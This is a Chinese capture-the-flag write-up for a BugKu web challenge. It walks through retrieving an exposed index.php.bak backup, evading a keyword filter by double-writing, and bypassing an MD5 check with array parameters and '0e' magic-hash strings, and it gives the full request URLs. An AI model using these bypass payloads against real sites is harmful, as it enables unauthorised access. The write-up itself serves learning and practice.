BugKuCTF中套路满满的题-------备份是个好习惯
首先就点进去是一串字符
d41d8cd98f00b204e9800998ecf8427ed41d8cd98f00b204e9800998ecf8427e
仔细看会发现这是两个一样的字符串,只不过拼接在一起了,MD5解密后的明文是 空
再看题目的标题是备份,那么就看看本网页的备份文件把
输入
123.206.87.240:8002/web16/index.php.bak
注:.bak 是备份文件的后缀
会要求下载一个文件,打开是一段php代码
从代码中可以看到,原先输出为空的一串密文,是因为key1和key2没有赋值
$str = str_replace('key','',$str);
这条语句又限制了key的输入,但可以采取双写绕过的形式,即 kkeyey1,kkeyey2
echo md5($key1);
echo md5($key2);
if(md5($key1) == md5($key2) && $key1 !== $key2){
echo $flag."取得flag";
}
这一段的代码是将key1和key2的值分别加密,再判断加密后的值是否相同,但输入的key1和key2的值要不同,才能把flag爆出来。
在这里有两种绕过方法:
1.因为md5()函数加密不能处理数组,则key1和key2的返回值为空,即可获得flag
http://123.206.87.240:8002/web16/?kkeyey1[]=1&kkeyey2[]=4
2.利用==比较漏洞
如果两个字符经MD5加密后的值为 0exxxxx形式,就会被认为是科学计数法,且表示的是0*10的xxxx次方,还是零,都是相等的。
下列的字符串的MD5值都是0e开头的:
QNKCDZO
240610708
s878926199a
s155964671a
s214587387a
s214587387a
http://123.206.87.240:8002/web16/?kkeyey1=s214587387a&kkeyey2=240610708
前面的一串字符经过解密后可以看出是“NULL”字符,即key1和key2经过md5加密后的值为空,而后面的flag就轻松的爆出来了。。。